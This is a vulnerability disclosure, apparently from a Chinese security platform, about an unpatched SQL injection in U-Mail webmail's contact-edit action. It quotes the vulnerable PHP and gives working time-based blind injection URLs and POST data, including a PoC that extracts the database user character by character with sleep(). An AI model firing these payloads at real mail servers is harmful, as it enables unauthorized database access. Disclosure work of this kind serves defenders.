### 简要描述:
U-Mail sql注射 U-mail 进行了文件更新其他的漏洞已经被修补了 但是还有一处没有进行修补
### 详细说明:
o_concat.php:
```
if ( ACTION == "contact-edit" )
{
$contact_id = gss( $_GET['id'] );
$group_list = explode( ",", trim( $_POST['group_list'] ) );
$group_change = gss( $_POST['group_change'] );
if ( !$contact_id && !check_post( ) )
{
dump_json( array( "status" => 0, "message" => "参数错误!" ) );
}
$birthday = gss( $_POST['bd_year'] )."-".gss( $_POST['bd_month'] )."-".gss( $_POST['bd_day'] );
$data = array(
"fullname" => gss( $_POST['fullname'] ),
"birthday" => $birthday,
"pref_email" => gss( $_POST['pref_email'] ),
"pref_tel" => gss( $_POST['pref_tel'] ),
"im_qq" => gss( $_POST['im_qq'] ),
"im_msn" => gss( $_POST['im_msn'] ),
"homepage" => gss( $_POST['homepage'] ),
"remark" => gss( $_POST['remark'] ),
"home_country" => gss( $_POST['home_country'] ),
"home_state" => gss( $_POST['home_state'] ),
"home_city" => gss( $_POST['home_city'] ),
"home_address" => gss( $_POST['home_address'] ),
"home_tel" => gss( $_POST['home_tel'] ),
"home_zip" => gss( $_POST['home_zip'] ),
"work_name" => gss( $_POST['work_name'] ),
"work_department" => gss( $_POST['work_department'] ),
"work_position" => gss( $_POST['work_position'] ),
"work_address" => gss( $_POST['work_address'] ),
"work_zip" => gss( $_POST['work_zip'] ),
"work_tel" => gss( $_POST['work_tel'] ),
"work_fax" => gss( $_POST['work_fax'] ),
"mail_bak1" => gss( $_POST['mail_bak1'] ),
"mail_bak2" => gss( $_POST['mail_bak2'] ),
"updated" => date( "Y-m-d H:i:s" )
);
$where = "contact_id='".$contact_id."'";
$result = $PAB->update_contact( $data, $where, 0 );
if ( $result )
{
if ( $group_change )
{
$res = $PAB->delMapByContactID( $user_id, $contact_id, 0 );
```
第一步:
$contact_id = gss( $_GET['id'] );
最后没有进行处理进入到了:
$res = $PAB->delMapByContactID( $user_id, $contact_id, 0 );
我们跟进去看看:
zend解码后 有乱码 我就用响应的替换了一下
```
public function delMapByContactID( $xxx, $yyy, $zzzz = FALSE )
{
$_qqqq = "user_id='".$xxx."' AND contact_id IN (".$yyy.")";
```
访问url:
http://192.168.47.132/webmail/client/pab/index.php?module=operate&action=contact-edit&id=if(1,sleep(5),1)
postdata:
fullname=xxx&pref_email=xxxx%40qq.com&pref_tel=15802991519&home_tel=&work_tel=&im_qq=&im_msn=&home_country=&home_state=&home_city=&home_zip=&homepage=&work_name=&work_department=&work_position=&work_address=&work_zip=&work_fax=&mail_bak1=&mail_bak2=&group_list=&bd_year=2014&bd_month=02&bd_day=&home_address=&remark=&group_change=0&group_change=xxx
group_change=xxx 当此有值的时候 进入到了那个函数
访问后 延迟五秒:
抓取到的sql语句为:
[<img src="https://images.seebug.org/upload/201410/24164253985ee2da069c855af92105096db79042.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/24164253985ee2da069c855af92105096db79042.png)
下来我们看poc:
http://192.168.47.132/webmail/client/pab/index.php?module=operate&action=contact-edit&id=sleep(if(ascii(substr((select user()),1,1))=$NUM,sleep(5),1)))
postdata:
fullname=xxx&pref_email=xxxx%40qq.com&pref_tel=15802991519&home_tel=&work_tel=&im_qq=&im_msn=&home_country=&home_state=&home_city=&home_zip=&homepage=&work_name=&work_department=&work_position=&work_address=&work_zip=&work_fax=&mail_bak1=&mail_bak2=&group_list=&bd_year=2014&bd_month=02&bd_day=&home_address=&remark=&group_change=0&group_change=xxx
这里的$NUM 可以进行递增 猜测 信息
### 漏洞证明:
暂无评论